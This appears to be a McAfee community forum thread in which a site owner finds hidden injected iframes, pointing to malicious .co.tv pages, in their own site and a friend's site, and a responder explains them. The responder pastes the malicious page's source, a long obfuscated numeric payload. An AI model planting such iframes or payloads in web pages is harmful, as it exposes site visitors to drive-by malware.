×
cancel
Showing results for 
Show  only  | Search instead for 
Did you mean: 
seraphicgate
Former Member
Message 1 of 3

McAfee SA Red: Weird Website Redirect on Personal Homepage...

Jump to solution

Yesterday I visited my own personal website, http://americanime.net/. I had visited it all the time beforehand, and nothing was wrong.

But I visited it yesterday and looked at my Status Bar. Suddenly it started loading and redirecting to a bunch of weird, unrelated, malicious sites. Luckily I had McAfee SiteAdvisor installed, stopping me at the red warning page before the redirect was complete. But the weirdest part was that the red warning page said americanime.net was the dangerous site. What? I don't have anything weird on my site; no malicious scripts or anything! I reloaded my webpage and the site loaded properly in both Internet Explorer 8 and Firefox 4. Strange. I wondered if it was a one-time-only thing.

So I made sure americanime.net would be scanned by SiteAdvisor. The current rating is gray, meaning it hasn't been rated yet (but it's in queue).

I tried visiting again today, June 30. No more malicious redirects, but I again noticed something weird. The site would load properly, but something else completely unrelated to my site or my coding was loading as well. I spotted it in my Status Bar:

Screenshot:

http://i357.photobucket.com/albums/oo18/bluesurrender/weird_redirect-1.png

What in the world is http://fgvemtrrz.co.tv/forum.php? That website has nothing to do with mine. It appears in the Status Bar every time I reload my website. My site hasn't redirected away today, but http://fgvemtrrz.co.tv/forum.php always appears in the Status Bar for a split second like it's loading something until my site finishes loading. Then the Status Bar says Done just like any other site. I (precariously) chose to go to that webpage to see what it was, and it took me to a 404 page. I checked the 404 page's source code, however, and it looked suspicious and highly bizarre for a 404. SiteAdvisor said the site was gray as well. I navigated away immediately and scanned my computer for viruses with SecurityCenter... none were found.

I don't really know what's going on or why yesterday SiteAdvisor said americanime.net was dangerous. I searched Google and found out that it might be because of a shared IP, so I searched again and found these lists at DomainCrawler and SiteDossier. SiteDossier says 1,819 sites are on the same IP as mine.

Bottom line I would like to know from SiteAdvisor: Is americanime.net really dangerous? What's wrong with it? Or is it the fault of another site sharing the same IP?

------------------------------------------------------------------------------------------------------

UPDATE: I checked the source code for my site and this appears in the middle of it:

<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://fgvemtrrz.co.tv/forum.php" width="3" height="3"></iframe></div>

That is not in my coding. I don't know how it got there. I would say it's because of malicious code that I may have used by accident, but I spotted a similar code inserted in my friend's website that's hosted on the same domain, http://luminifer.net/:

<iframe src="http://ncxgmmhkc.co.tv/forum.php" width="1" height="1"></iframe>

It appears right after the body tag. My site and my friend's site have different coding and different domain names, so how on earth did similar code end up on both of them? I'm so lost, and I don't want both my site and my friend's site to be rated "red" again by SiteAdvisor....

Message was edited by: seraphicgate on 6/30/11 4:17:23 PM CDT
1 Solution

Accepted Solutions
AlphaCentauri
Former Member
Message 2 of 3

Re: McAfee SA Red: Weird Website Redirect on Personal Homepage...

Jump to solution

Hi, seraphicgate,

The code you see is called an "iframe," not surprisingly. There are legitimate uses for them, but when their dimensions are 1x1 px, they're there for something sneaky. It will look like a period on your page. Sometimes it loads an image, and it allows the person with the website hosting the image to collect the IP addresses of everyone who views your website, a type of spyware.

But in this case, a .php file is capable of executing a program. That's bad. 

I will see if this forum allows me to show the source code for that page hxxp://fgvemtrrz.co.tv/forum.php

<html><body><div style="visibility:hidden"><div>89812447846152687043332368616773722461526861330272102202001600282681682844814752897209102202720924615268613302721033027317510447522468238152286152892933618923336124686717566388603328276088600423756146737009626084611509626168746088605452048170276033735188603328278861334678164016401640168340378904886133467816401640164016835168338756886033283175476223521161686124684656106052897561336904475224682381526724408640601756336168473352280447522468238152671756246786406017636340231511610423526189690447522468238152678617563361684733522868873761810428860146424752896104235261894263402315573333608769044752246823815267861756336168473352670960333360870923177068611568672186276124687037338168816887376170688119683323526270246075756786171763402315444752246904475224682381526786175633616847335228688737618104288646464204475224682381524263402315196833235262690447522468238152678617563361684733522868873761810428864646421568332352624263402315264784690447522468238152678617563361684733522868873761810428864646425247848661334263402315196833264784690447522468238152678617563361684733526768873761810428864646421568332352624241416709798909177068611568678617176340626168264784766162506909787989837879897970792940208325094015377523682647847661625069097879707929402083096240626168264784690447522468238152678640241756886033288946681023154060468970231519683326478467861714678970231511610423526189672417145261432876616277503767241769897062616826478476616250177061506124678617695247757551336168473352286014607816836952477575634024818437603361264784156904475224682381526710400440891756886033286146681023154024408640604062463760331561545268512304676170231519683326478467101741416170231519683326478467041717562304676170231511610423526189678917414189702481843760336126478415175633616847335228897024818437603361264784156710400417632446107015377523686761701537752368264784766162501751864604701537752368676170153775236826478476616250175104813367604616516072586068107084235267247075615262681040867075615262681017516055551756230467626724786083402216170262678678608340221617175633616847335228226323046762672478608340221617726267867860834022161717563361684733522820226363633361684733522816634004813384606826478469044752246823815267864024175688603328894668102315406040615123046701897023151968332647846786171756336168473352285247757563230467018970231526478467241717562446006324202051614686703361377560246167097915096240424217701537752368678970153775236826478476616250177024815224606867784216424042164240421642404216428317510481336760461651607200516055551756230467095367165517677055170809706861156867617860831717566178608346766162775037700882632304676002241818016709798909177068611568676178608317175661786083464216426363336168473352286170157523246167164000177027812352674240421763400808106015582384618087376169044752246823815267601756336168473352280447522468238152678917562304670160702315547741418917568860332824408640614004466070231519683323526267891714788983698951230467010418180104707561526268101756336168473352285247757563048133676146165161720470756152626810516155551756230467097853791583097068611568670478618317414167244652608823626068813370842384618087376115780478618383174141678646247061526086756189317547622352174141678670526084611818867089611524332337682381521717563361684733522824636363336168473352285247757563634004235289266088317547622352690447522468238152677540614024175688603328274668102315401046526143287661627750376775404223421740894667012770231511610423526189676117181861171409798909691640394624145261432876616277503767244042234217691640604652608823626068813370377547622352154062464242400440864084510481336704461651047260707561526268105104555517568446607804837089611524332337682381521818625186466078048370526084611818625123046767107068611568678417414167018918188970686115686776616277503770756104680581526861506855766162775037703323621068058152686150681717171818671070686115686786174141670189181889706861156867766162775037707561046805815268615068557661627750377033236210680581526861506817171717562304670139181801673970686115686784171818397068611568678617171756336168473352286078048363636333616847335228524775756340626168582384617752608675618931754762235269044752246823815267604004175688603328614668102315408640244652614328766162775037670440422342174089464242512304676786466170106015582384618087376167601717414167864686706152608675618931754762235217414167247068611568678670896115243323376823815218188917181824706861156867867052608461181889171717563361684733522886633361684733522816634062616831754762235244237561486133152381526904475224682381526704408617568860332810466810231540614089406240604024462022512304671070211902821818010418180104708861331523815218180167614610706261682647846704708861331523815217171756336168473352288663230467018617563361684733522861636146107004813384606826478467611751864610700481338460682647846786175189468670153775236867107015377523682647847661625017516246617015377523686710701537752368264784766162501751048133676046165160728970756152626810516055551756230467240220224141600224414189786083014642164217563361684733522886632304676278608301468978608317562304672446462022175624466063230467897860830146421642175633616847335228866363633361684733522861634057852169432352898143705724682388618521862761246840626168578521690447522468238152678617568860332804465247757540894024466810231540605168338756044652614328247057852167861763246068241067891756633361684733522804634024815288613368444752241569044752246823815267621756886033286040104004408646095378790883787908830940894656634024466810231551048133676028235228621756230467867068611568676017175689786083462263630481336760282352288917566833875610466070157523246167821751230467107075615262681002164141016278108317566278108346627860836762175189617561686128627860836363246068241067041756636363402352236819243323376869044752246823815267175688603328244668102315406046526088236260688133406146420942402346607047156133576261526818184242406246607088615289813318184242408646607037756068048133841818424240104660703733818947246818184242512470211946221616512304678617568860332804408946784238235242402240425860244240824042322352475042406640424433616135191142400040422331108152614240822270224042233181894240822270824042233160894240822270664042382352702505774240828270224042382352702558818623756142408282708240423181243961687979152531054240828270664042424022161683510481336704468970756152626810208251040246165104460420821756230467897804834141526143287661627750376789780483404223421770686115686786171756247021194689780455228351863361603963636324702481528861336844475224156724175124702315547746526143284447522468238152674233616847335228425561554225712424298152017125425561554204607515614217671751247088613354774624702315547741416709581954777915256779895579701479892517092317706861156867231714376033156144758160686776616277503770082240221617695247757551247057246823886185775260867561894604607515615123046724702315547717568860332804402746784258155084758270855832648080314240425815508475827011215811812447846152684240425823243381158104687085583211215842404219108124394360886144756015107019108124394360886144756015104240428011050568757080110505687542404219106175757007546461753761334240421924332337682352627011232468238152603387424042438437756087613370812450428351048133670446165104722770756152626810510455551756230467247062616857852167277804831717562470572468238861857752608675618946683347615186336160396363247010616089462470231511610423526189678981244784615268706261687775618461526815358780606226608461171489812447846152687062616877756184615268153587806062266084616742106160894217781683695247757563247023153661243981466709366124398109231770686115686710174141670936612439817915257909791525798909231770686115686723175124708861333661243981462470231536612439811424700481338460682647846767093388791525796979152567787970794079898355170923177068611568672317147661627750377008226942167030421769524775755124702315196004603323466709196004603323791525790979152579890923177068611568672317414167095737377561092317706861156867621751247023150510338184614667090510338184617915257909791525677989787989797083251709231770686115686723175124708861330510338184614624702315051033818461142470048133846068264784677661627750377008221769524775755124702315213761336046670921376133607915257879098314791525677989557970147989251709231770686115686723175124708861332137613360462470231521376133604141676709486133152381527915257909791525677989557970147989251709231770686115686723171818221714376033156144758160686776616277503770082240221617695247757551247060898938235277886152686742758160894240247010605289756133672470334752383204475224154024171763402352236869044752246823815267241756886033288646681023154060402451230467018670231519683323526267241717563361684733522820666323046724707561526268104646221756867062616848613315238152116175238423686133462451336168473352282066632446247068813281436133056015616717703361377560246167097915096240424217516046867824835123046701601818016070626168486133152381521756336168473352282066638670377547622352466051230467018670231511610423526189676070235215686075756189171756607023521568607575618946607088613315238152466070886133152381521646607062616848613315238152118152614652477575516070084686516070377547622352266084614624638670626033866062614604607515615123046786702315547741410186705724682388618577526086756189175623046760014646867027608860175633616847335228208263633361684733522822634004314715106904475224682381526786406017568860332824466810231551230467247023155733336087676017414167247023154447522467861718186724702315573333608767861741418670756152626810021641412470231544475224678678168317171717566070374715106786176363402460757557333360876904475224682381526786175688603328244668102315406051230467247023155733336087678617175604813367604616516072867075615262681051605555175623046786786083464646524775751756336168473352632470246075756786786083175186786083465247757563636340246075756904475224682381526724175688603328864668102315406046867023155733336087672417142470756152626810692022512304676002164141867023154447522467247816831717562478168367864060022214247822836916406002821424788283691640600266142478668369161763617515615623046786702315444752246724171756246786176363634062616848613315238152116175238423686133694240424008086261684861331523815269044752246823815267601756336168473352280447522468238152676240894024175688603328614660702352236867621740044086401051230467617216175633616847335228524775756351044660703775476223525123046704706261684861331523815211815261014622175604706261684861331523815267524775754089402417512304670470626168486133152381521181526146464652477575175604706261684861331523815211815261462263636070247561605247376717518646670470886133152381521818047088613315238152161751864686148670336137756024616760701537752368264784766162504060706261684861331523815211617523842368613317698651336168473352288663634024756160524737690447522468238152671756886033286046681023155123046760706260338660626141416070231511610423526189674323528981437005817575612468366033866062611717564323528981437005817575612468366033866062616717636340608989382352778861526869044752246823815267894024175688603328614668102315406046432352898143408651230467617023154447522467241717562304676070608989778861526832231568615261331756607060898977886152683223156861526133678940244004607515611763617515615623046760706068686024107788615268175660706068686024107788615268674281524255894024176361751561568646607842815242558983516078428152425589834661704323526460528975613367244086176363636340432352646052897561336904475224682381526789402417563361684733522804475224682381526717568967175123046768873761810428244646420447522468238152421756246717636363403832044752241516697883403832044752241569788340334752383204475224156904475224682381526760175660704323523281608961894668334761516070246075755733336087676070383204475224151617516070246075755733336087676070383204475224151751230467607081521181526177843768871123881756607081521181526177843768871123886717636340432352328160896189690460751561400808815238235289814332816089618969044752246823815267601756336168473352280447522468238152678617562304676070432352328160896189175660702460757567861763617515615660700431471510678640607038320447522415176363634089238869524775754089238838238968106965164037754762235219231261692240618437688711238869044752246823815267175688603328244668102315406040614086408946165123046724708923884141247089238870241023758926818961151756048133676046247089238870241023758926818961157075615262681020225160024616516020201756864624708923887024102375892681896115786083512304678641418670241023758926818961151756230467894646161756048133676146867024102375892681896115707561526268102022516102461651612020175686703361848188610510237589678670241023758926818961157861831763247089238870336184818861051023758967861763617515615663636363634011212677044752241569788340815211815261778437688711238869044752246823815267175688603328244668102315406040865123046701247043235232816089618917563361684733526323046724703832044752241541412470383204475224157075615262681041412470383204475224157824703832044752241570756152626810202283014646524775751756336168473352630481336760282352282417568646247860835123046786414186700447522415175623046786702180444646661756336168473352632304678670044752241570756152626810414186700447522415788670044752241570756152626810202283014646524775751756336168473352636363048133676046165160722470112126770447522415707561526268105160555517562470246075755733336087672470112126770447522415176324706184376887112388671763406261683823896810690447522468238152672417562304672417568860332860462470152433817575382389681018182470810404156168382389681040864668102315512304678670231526478467601717563361684733522860636333616847335228202263406261688060621968606847156904475224682381526784406240604086175688603328244668102315400440394684701537605240754624706261683823896810673917401046607015376052402746247062616838238968106710174089466270153760524023462470626168382389681067891751230467013918180110181801891818012470626168112158818627678417175633616847335228208263230467277223181875721618182772161818237216181823724624703775476223521923126118182470377547622352192312617222175633616847335228166323046775024623175633616847335228202263683387562304677546462470377547622352192312614141670124702315547718182470626168112158818627678417703361608987196860686146460017175623046701847043235232816089618941412470432352328160896189175633616847335228226323046784704323523281608961894141247023152647846786171756230467012470231526478467847024814752681717568470248147526846866323046786208470248147526802462216175633616847335228226363636324606824106704175663336168473352281663406261681121588186276904475224682381526762406017568860332804408946681023154024466214627015376052691640864624414124700423331568051023758914226916516833875623046786414160175624700423331568051023758970048124471567176363246068241067041756633361684733522886142470042333156805102375896952477575634015616819688775616904475224682381526786406217568860332804468670156887756140604089402446681023155123046704414162175604813367604616516072627075615262681051604660558217566833875604786278608383466278605522836324606824106789175663636363402352156133681123885452358189876904475224682381526723175688603328624089466810231540104642378966663030666630304240244652477575400446898124478461526840864642724240604667047062616877756184615268153587806062266084616742868189874217781683181804708681898717512304670160175668338756047043332368616786557389238828238946427355105573420281735586554209892388024217512446047062616877756184615268358754896710176324606824106762175663636046670470626168777561846152681535878060622660846167428681898742177816831818047086818987175123046760175623046760700423331568051023758941418970231511610423526189676070235215613368356104813361171756607023521561336835610481336167234060700423331568051023758917636175156156607060373761528905102375896723176323046724175660703361848188610510237589672417636361751561566363402352156133686480583269044752246823815267624086401040604039175688603328754084468981244784615268402746681023154045408146847024336160686177756184615268674215376052421740524023400446427242518860332824467842814768752352611968877561424042528152614240428681338961331968877561424042528152614240423760898923526242404216375042404284603362235242404216375042404288231523862375236887424042882315238675614283512304670127702315116104235261896760171756604642426323046727702315196833235262676217414167097853791583091770686115686762171756454604556255732843238968104642735527703775476223521923126155734228106123621068464273552770377547622352192312615573422873510481336752461651527286707561526268105152465255821756230467097853791583097068611568678678525522831717564555468678528355734642735586785255228355734228736363455546420242510481336752461651527210707561526268105152465255821756230467097853791583097068611568671078525522831717564555460455733760336084285260846146427355107852835573422888607547614642735510785255228355734228090273636345554660550455420942556255420242636175156156454660632304670127708923881756277089238846847024336160686177756184615268674289238842175123468470626168777561846152683587548967423775476223528961686124684217512304672317562770892388462363617515615627708923887023894642377547622352896168612468425127702352156133681123885452358189876727708923881763277015616819688775616727708923884024702481522460686778424323896810424027708923883823896810554237504240421061236210684240672770377547622352192312615566175542375042404204815268192312614240672770377547622352192312615566175542375042404275235261646123621068424067277037754762235219231261556617554237504240428861336823246075577523625242404286601561752352614240428923153775608742404286758124394283171751230467012317562770156168196887756167277089238840784237811523682381524240426086158175476861424042332362106842404216375042404268813742404216375042831763632304672770892388414127708923887037603361526826818961175627708923887060373761528905102375896781175127701561681968877561678140247024815224606867784204815268192312614240672770377547622352192312615566175542375042404275235261646123621068424067277037754762235219231261556617554237504240428861336823246075577523625242404286601561752352614240428923153775608742404223527523526142831717516833875623046781414181703760336152682681896117568170048124471567176363246068241067751756636833875681702352526133648058324645632460682410677517566323046781702410237589268189611570756152626810464622414101672770231536612439814141277024818437603361264784156727708861333661243981404222406540164016421772161717562770156168196887756167817004233315680510237589402470248152246068677842892315377560874240422352752352614283171763336168473352561537605269814043235232816089618969277043235232816089618940686062266084616967277023151968332352626762171462694242176363336168473352561537605269524775754043235232816089618969277043235232816089618940686062266084616942426363402760886069568423846180873761697842603737752324606823815209502027608860206037377561684240426037377523246068238152095020276088602088844240426037377523246068238152095020276088602086616052428340842384618087376174315469426037377523246068238152095020276088602060373775616851273723208861331523815246424024756015155411694224751523896934571130053400162016000077202222112220356677302016163416654400303011306642401180032475601515541169422475152389690557447777445705201177054920161616162016161616205735051177444477110535574240118003842384618087376169784260373775232460682381520927608860208961377581878461526820688181753923684240426037377523246068238152095237334752682384612015243323376860867561203775476223525111613775818784615268808181753923684283400481332461486133230487806062697883402760336978834077526086756189695260882362606881337027608860775260867561896717404877261121761969784219475228582324338115871568618415285452247042404257373775612805818437476861334028545224704283402180446952477575405775752988613315238152156978834084238461808737617431543361154775686942424074608860317547622352298861331523815215697883407460886048613315238152156978782240304082406616834078224034408240661683407822404940824066168340782240064022406616834078224065402240661683407822400040824066168340782240664022406616838340156160332410746088603175476223525785216904475224682381526717568860332810465247757540604668102315402446607008406246788340274678224065401640220083402346782240064016408283400446782240664022401683406146782240004082401683408946782240654016404983408646046075156151230467012470572468238861857752608675618917563361684733522852477575635123046724708861335477024660708423525477886133175662466070156160332410746088605785216723402340861751230467627075615262681002164141861756624660701561603324107460886057852167274027408617636361751561562304676270756152626810464616175662466070156160332410746088605785216704406140046075156117636323046762707561526268100216175610466278168363607074608860317547622352298861331523815215467883702481522460686762175133616847335228106340156160332410746088605785216904475224682381526775402340841756886033285240044010466810231570084045403940604061406240274086403346788351230467107024818437603361264784156775702781235267424042174023702781235267424042171702161756234675632346107004813384606826478467237027812352674240421717518860332881408946422240004082401642402446427460886031754762235270425575781683554242557578228355424255757882835542425567757866830216146742294255677578668372221614421642694242175575786683176942421751048133675246165152726810231570746088604861331523815215707561526268105152555517560446681023157074608860486133152381521578528351454642746088603175476223527042550478168355424255047822835162460478168355427042550478228355427042510481336760460478828351600246165160202017568646427460886038618619686033687023155452156860757561897042556255605542701642512304671070248184376033612647841567047816835542404255047822835542404255605542401642402317024616414101107062616857852167861717562481526823524761638146107024818437603361264784156704781683554240425504782283554240425560554240164240891772161468334761690460751561510481336761460478668351610246165161202017563946605542294255676172221614421642556169611751274645553951230467107062616857852167271741416781181810706261685785216786171717563370374715106762553917512304670184175633616847335228336363230467274646241756336168473352283363632304671070626168578521674555601741416781181810706261685785216786171717563370374715106762556017512304670184175633616847335228336363230467455560464624175633616847335228336363633361684733522833634084235254778861336949406261685823846174315488613315238152690447522468238152671756886033281040604668102315408946607008402446526143287661627750376742674255607084238461808737617431545542176779798970251742404223421740394652614328766162775037674274608860424042234217406140274004464242402346566340624616408651048133671046165110725260882362606881337084238461808737611570756152626810511055551756274652608823626068813370842384618087376115781083512304672470686115686727706887376117414167614627706152608675618931754762235217414167274676616277503770088217414167397068611568676170896115243323376823815218180417181839706861156867617052608461181804171717562378426042558970048133846068264784672717834627636386464216401640164016425104813367102823522823175662555551614610701575232461672217512304678970248184376033612647841567614086170216175686466163636070842384618087376174315433611547756846620216146070842384618087376174315455237842604255868369424251336168473352286202161486695247757563406261684861331523815269044752246823815267844089407517568860332804402446681023154061462470084010462470262180444086462470603737756168402746247088613323048740234688615289813346886133152381527752608675618946524775755123046724706261684861331523815211815261464646524775751756247021804446165124708423846121862746617010601558238461808737616724708423846180873761175124708961377581878003700846615124708961377581878003703760336152682681896146245186700846615186703760336152682681896146245123046710175610700846615110703760336152682681896146246323046727175627703760336152682681896146245127700846615127702352236867176363886033283951230467617023155733336087677517175604813367394616513972867060757581436189707561526268105139555517562304676170231526478467757839831717568670607575814361897839834675783983636363048133673946165139722470048133246148613323048780606270756152626810513955551756867060757581436189783983462470048133246148613323048780606278398363230467617023151968332352626789171756247027603370374715106789176323046724706261684861331523815211815261464616175623046701247088613315238152181886702460528033875752876717175604468670235215613368648058321347613387577575678917512304670478168317562470235215686075756189462251247077528936616848613315238152670478168340047822831763633361684733526388603328624624708961377581878003704547613387671751230467627074767717562346627074767751886152898133462470487726112176197816836323046701617023155477175688603328454052406040815181466724708423846121862741412470775260867561891714683347616904607515615123046701234141670446247062616858238461743154886133152381526717170146465247757517562346046323046701234141247084238461218627175604464274608860785379798983253175476220235242516046617004235289266088317547622352670417512304676017560446526143287661627750376704404223421751454604706861156867607089611524332337682381521818424217146170626168264784676070896115243323376823815217695247757551524604706861156867607052608461181842421714617062616826478467607052608461176952477575512304674541415217562346676170248184376033612647841567617004813384606826478467451740617004813384606826478467521717024616171445695263617515615623464518185263636323046701234141247084238461218627414161702315196004603323414161702119464682175660466170042352892660883175476223526742746088607025797989702531754762202352702505812481604240161751230467601756454661706261682647846760708961152433233768238152175123046745175623464563636323046723175624708861331523815216462351230467247077526086756189175688613315238152775260867561894623636363617515615623046701234141627015686068471546461617562346247015616033241074608860317547622352578521671751230467231756886152898133462470487726112176197816836363230467231756247088613315238152164623512304672470775260867561894141617057246823886185775260867561891756886133152381527752608675618946236363632304670188613315238152775260867561891818867024605280338757528767171756044686702352156133686480583213476133875775756789175123046704781683175688613315238152775260867561894604781683518861528981334604782283636323046701886133152381527752608675618941416704462470454761338738236810814768573737756168156717177816831756247088613315238152164688613315238152775260867561894604781683518861528981334604782283512304672470235215686075756189464620167065175624702352156860757561894616706563632304676170231519600460332341416170211946468217562304670188613315238152775260867561894141811756230467247023521568607575618946464652477575175624702352156860757561894616636175156156230467247023521568607575618946462016706517562470235215686075756189461670656363636323046724702733611123156086756189671717568861331523815277526086756189465247757563512304672470235215686075756189464646524775751756247023521568607575618946886133152381527752608675618914226967231420167082692022176324707752893661684861331523815267886133152381527752608675618940886152898133176340775289366168486133152381526904475224682381526786408917568860332860466810231540244660700851230467607088613315238152161756607088613315238152164624700481338460682647846724706261682647846760708861331523815216171763230467861756607088613315238152462470048133846068264784672470626168264784678617175160708861528981334667247023151968332352626789171489694242176323046760706261684861331523815211815261014622175660706261684861331523815211815261461663634027336111231560867561896904475224682381526717568860332886466810231540894686700840244686708961377581878003704547613387671770747677406051230467244141897021194646221756230467678970231536612439814141897024818437603361264784156789708861333661243981404222403040824016421702461641418970248184376033612647841567244042224006401640228242177216171818678970231505103381846141418970248184376033612647841567244042224006401640228242177216171756336168473352282263635123046789702315213761336041418970886133213761336002463041410186707752608675618941410186708423846121862741410186704547613387382368108147685737377561681567177816831756336168473352282263230467678970231536612439811818897023150510338184611741410186708423846121862741410186704547613387382368108147685737377561681567177816831756336168473352282263336168473352281663408961377581878003695615686068471569524775754074767760757569788340747677695247757540648058326952477575404547613387690447522468238152671756886033280446681023154010460470084024460470376033615268268189614023406040864062467561524652477575512304670470156860684715014646524775751756336168473352280463047015686068471546165123046767107023153661243981414110702481843760336126478415671070886133366124398140107004813384606826478467422270064217177246161718181070231519600460332318181070231505103381846118186710702315547741410110705724682388618577526086756189171756336168473352280463230467107023155477414110708861335477024606175604706480583246107023521561336864805832674281862761246842407883407883175162461070626168112158818627670470648058321763617515615623046701107023155477414167864610701060155823846180873761672470118003842384618087376117174141867068873761175604706480583246107023521561336864805832674281862761246842407842688737614240867068873761834078831751624610706261681121588186276704706480583217636323046762175623046710702315547741411070886133547702460617566833875662702475601515238946247011800324756015155411632460682410672317566363516833875688603328894662702788841551230467891756756152468970626168326152626810671751230467107023152647846775615217175604701568606847154675615202161422692022510481336760461651607275615251605555175686461070626168264784678970626168677561522022206017708861331523815217512304678617560470747677607575786083468663636363632460682410672317566363230467047074767760757570756152626810021617560470747677461070048133846068264784670470747677607575781683176333616847335228046363404547613387382368108147685737377561681516166904475224682381526724406017568860332886464323528981437027608860408951683387562304678641418670756052624141867075605262701987156861841756607088607547614678867075605262701987156861847062616831338137613368876742276088607088613315238152421755422842408670756052627019871568618470626168313381376133688767422760886070886152898133421755422842836363246068241067891756636340454761338738236810814768573737756168156904475224682381526717568860332824466810231540044624700840624060462470454761338738236810814768573737756168155123046701607088607547611756607088607547614678524775754052477575835123046701047023155477414143235289814370276088601756230467047021194646824141047023152137613360414104708861332137613360723070824141047088613321376133600246301756636175156156230467047023153661243981414104702481843760336126478415670470886133366124398140422240304016401642177216414104702481843760336126478415670470886133366124398140422240344016401642170246161756636175156156230467047023153661243981175688603328234086401046898124478461526851230467107024336160686177756184615268414110702433616068617788615268175668338756234610702433616068617775618461526867428923884217408646107024336160686177886152686742648058327788615268154217518670235223687788615268674224106052626142400460751561400460751561175123706089897788615268322315686152613367422410605262614240047010605289756133672470454761338738236810814768573737756168151616400440601740046075156117512370892315376068241077886152686786176324606824106762175663636361751561562470454761338738236810814768573737756168151616670440601763636363633361684733522860708860754761634060373775616869563361154775681569787852477575405247757583407852477575405247757583407852477575405247757583834064805832697816401640168340602468238861697816401640168340607575814361896978824082408283401147848487218627806062648058326916401147848487193760528060626480583269164062616876611547756869044752246823815267175688603328244668102315703361154775681540604086510481336760461651607224707561526268105160555517568646247860835123046786781683175686336160396363336168473352788370248152246068678617634024605280338769044752246823815267891756886033288646681023154024468670084060468670376033615268268189615123046786706075758143618978898346466617563361684733522868334761632304670160708861331523815216181801607077526086756189181867247023155477414101247057246823886185775260867561891717562304678670607575814361897889834646821756336168473352286833476163230467867060757581436189788983464622414101867062616876611547756867177816831756336168473352286833476163633361684733522804607515616340246052803387575287690447522468238152671756886033288646681023154060510481336760461651607286706075758143618970756152626810516055551756230467867024605280338767601717563361684733522868334761636333616847335228046075156163402460520715615737377561688060626904475224682381526717568860332886466810231540244686700840604686703760336152682681896151336168473352670124702315547718186070775260867561891763402460520715612186276124688060626904475224682381526717568860332860466810231540864660700851336168473352670186702315547718188670572468238861857752608675618917634045476133878010231569044752246823815267101756886033286240244668102315408646247037603361526826818961400446867008406046886152898133465247757540894604706261681121588186276724706480583278108340683347611751230467891756683387566046897062616848613315238152671755422842518861528981334689706261684861528981336717554228425189701568606847158660336704704323523281608961891442284269422842176324606824106762175663230467047023151968332647846760171756247033611547756815781083467860408861528981338363683387562304670470231554774141604141897033616089871968606861014600175604706260338660626146683347615189703760336152682681896170336184818861051023758967891763632460682410676217566363634023521561336864805832134761338757757569044752246823815267611756886033286246681023154052466270376033615268268189614089465270084081466270336115477568154045466270648058324010464241528615375141528615375141528615375141528615375142404746425770247560151542512304670189702315196833235262676117181801670979702760337915250809177068611568676117181867097979091770686115686761171756336168473352785247757540524775758363230467527021804472221756527021804446226323046752702733611123156086756189671717563361684733527852477575405247757583632304675270218044728217565270218044468263886033282446614068464242408451230467670978790983091770686115686761171756844661701537752368674209421751244684788470756152626810202283518478847075615262681020228346424251684684702781235267420942176388603328274678426033241023886142402440422481896142404783407546784284608715243323376842404268334761428340334678421524332337686086756142404268334761428370248152246068677517400446018970231554774141527084238461218627414152708423846121862770688737611452708423846121862770688737616952708423846180873761781683512304670145781683414162702460520715612186276124688060626717414162702460528033876716171756457816834689702315547714897023521561336864805832674281862761246842407842688737614240048370248152246068672717407842248189618660156142406883702481522460686727177024815224606867331740104052176989702352156133686480583267428186276124684240784268873761424004404260332410238861424024404224756015152389424042276088606942554783407842248189618660156142406840426033241023886142402483702481522460686733174010405217518178168346781640168351627045476133878010231567161763230467014578228341416270246052071561573737756168806062671741416270246052803387672217175645782283468970231554771489702352156133686480583267426037377561684240784260756842401083702481522460686775177024815224606867271740784224818961866015614240688370248152246068677517401040521769897023521561336864805832674260373775616842407842248189618660156142406840426075684240108370248152246068677517702481522460686727174078837024815224606867751740104052175181782283467816401683516270454761338780102315672217632304670145788283414162702460520715612186276124688060626717414162702460528033876782171756457882834689702315547714897023521561336864805832674281862761246842407842247560151523894240527024756015155411834078422481896186601561424068837024815224606867271770248152246068673317401040521769897023521561336864805832671751817882834678164016835162704547613387801023156782176323046701627011478484872186278060626480583241416270246052071561218627612468806062671717566270114784848721862780606264805832468970235215613368648058326742818627612468424078834078834010176323046701627011478484871937605280606264805832175662701147848487193760528060626480583246897023521561336864805832674242407883407883401017635188603328394060461651048133673946165139728170756152626810513955551756230467457839831818627024605280338767391717566055556361751561568633616039636323046760464681707561526268101756527062616848613315238152118152614652700481332461486133230487806062707561526268100216141669226333616847335228627062616876611547756867176363406037376152896904475224682381526761408917560481336788603328244616512472897075615262681051245555175661703747151067897824831763634074608860442350690447522468238152671756636340608981866133616089613369568423846180873761694260373775232460682381520937890442405260883175476223522186276952477575403733816254116978425724338131114470311144424042311144703189040568337542834024756015155411694224751523896905573457304934162082341611202222054420578200112000000065656665001616161642405426198057323277116956634037754762235264601558238461808737616904475224682381526789402440041756886033288646681023154061468670084060510481336760282352288917562304678978608341418978608370688737614141897860837068873761464624175633616847335228226363230467617062616858238461775260867561893175476223526724400417175633616847335228226333616847335228166340626168486133152381526904475224682381526723402717568860332804466810231540244604700840104089403940844637465247757540624652477575407546524775754060408651274667247023151968332352626727174141277075615262681017142770336137756024616709791509404242177068813281436133056015616717690470842384618087376151230467247023151161042352618967047054261980573232771178278317175604702352156860757561894604705426198057323277117827835133616847335263230467012470231554771756604642578981866170253111447025317547622014235218578981866170255724338186606870253175476220142352185789818661702576616089613370253175476220142352425123046704706261684861331523815211815261014646161756047062616848613315238152118152614616513746247062616858238461775260867561893175476223526704708423846180873761406017512304670137414124701060155823846180873761670470842384618087376117175637462470042352892660883175476223526760401617632304673717560470526088317547622352218627463751624624706261682647846737708961152433233768238152171818247062616826478467377052608461175162462470626168317547622352442375614861331523815267374062175123046701624141247021194646221756230467047037754762235264601558238461808737616737404260373775232460682381520988528970608981866170378904508475424060171756624642304263617515615623046704703775476223526460155823846180873761673740426037377523246068238152098852897060898186617050208460331542406017175662464234426363636363617515615662460470886133152381526384462470626168582384617752608675618931754762235267274060175104702352156860757561894684414162142269678414166967047052608831754762235221862714201670826920221717636175156156374624706261685785216704703733816254117816831718182470626168578521670470373381625411782283175186460946791525677879897970835517096251683387568946673718182470626168112158818627672470235215613368648058326742818627612468424078422475601515238942400470247560151554118340784215332442404242834042424004171717703661684861331523815215671751048133673946165139726551395555175623046786706861156867891741416701621818766162775037700822026217175662467661627750377008226363632460682410671017566304702352156860757561894662142269673714166920221763230467010470886133152381521756047088613315238152462470048133846068264784676217630470542619805732327711782783460470235215686075756189636340121269166351317547622352116168612468702352236819243323376867175131754762235211616861246870626168486133152381526742704217512788613346317547622352116168612468706261684861331523815267427460886042402760886004237561175137890488613346317547622352116168612468706261684861331523815267425789818661766160896133421751632460682410676117566323046768873761810428278861334646